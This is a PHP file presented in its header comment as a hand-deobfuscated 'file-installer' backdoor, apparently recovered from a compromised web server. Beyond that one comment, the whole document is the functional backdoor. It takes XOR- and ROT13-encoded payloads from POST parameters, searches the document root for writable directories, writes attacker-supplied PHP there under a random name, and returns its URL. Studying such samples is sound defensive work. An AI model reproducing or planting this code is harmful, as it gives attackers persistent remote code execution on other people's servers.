<?php
/*
 * Hand deobfuscated file-installer backdoor.
 * Note the use of 2 Xor keys, and the complicated
 * way it does Xor-deciphering.
 */
$xorkey = 'zjlaqmjotmzlkwar';
$extra_xor_key = '';

foreach ($_POST as $parameter_name => $parameter_value) {
    if (strlen($parameter_name) == 16 and substr_count($parameter_value, "%") > 10) {
        qsmok($parameter_name, $parameter_value);
    }
}

function qsmok($second_key, $ciphertext)
{
    global $extra_xor_key;
    $extra_xor_key = $second_key;
    $cipher_bytes = str_split(rawurldecode(str_rot13($ciphertext)));
    function decipher_character($ciphertext, $index)
    {
        global $xorkey, $extra_xor_key;
        return $ciphertext ^ $xorkey[$index % strlen($xorkey)] ^ $extra_xor_key[$index % strlen($extra_xor_key)];
    }
    $cleartext = implode("", array_map("decipher_character", array_values($cipher_bytes), array_keys($cipher_bytes)));
    $codes = @unserialize($cleartext);
    if (@is_array($codes)) {
        $indexes = array_keys($codes);
        $code = $codes[$indexes[0]];
        if ($code === $indexes[0]) {
            echo @serialize(array('php' => @phpversion()));
            exit;
        } else {
            function find_writeable_directories($directory_name)
            {
                static $writeable_subdirs = array();
                $subdirs = glob($directory_name . '/*', GLOB_ONLYDIR);
                if (count($subdirs) > 0) {
                    foreach ($subdirs as $dirname) {
                        if (@is_writable($dirname)) {
                            $writeable_subdirs[] = $dirname;
                        }
                    }
                }
                foreach ($subdirs as $dirname) {
                    find_writeable_directories($dirname);
                }
                return $writeable_subdirs;
            }
            $document_root = $_SERVER['DOCUMENT_ROOT'];
            $subdirs = find_writeable_directories($document_root);
            $random_index = array_rand($subdirs);
            $random_filename = $subdirs[$random_index] . '/' . substr(md5(time()), 0, 8) . '.php';
            @file_put_contents($random_filename, $code);
            echo 'http://' . $_SERVER['HTTP_HOST'] . substr($random_filename, strlen($document_root));
            exit;
        }
    }
}
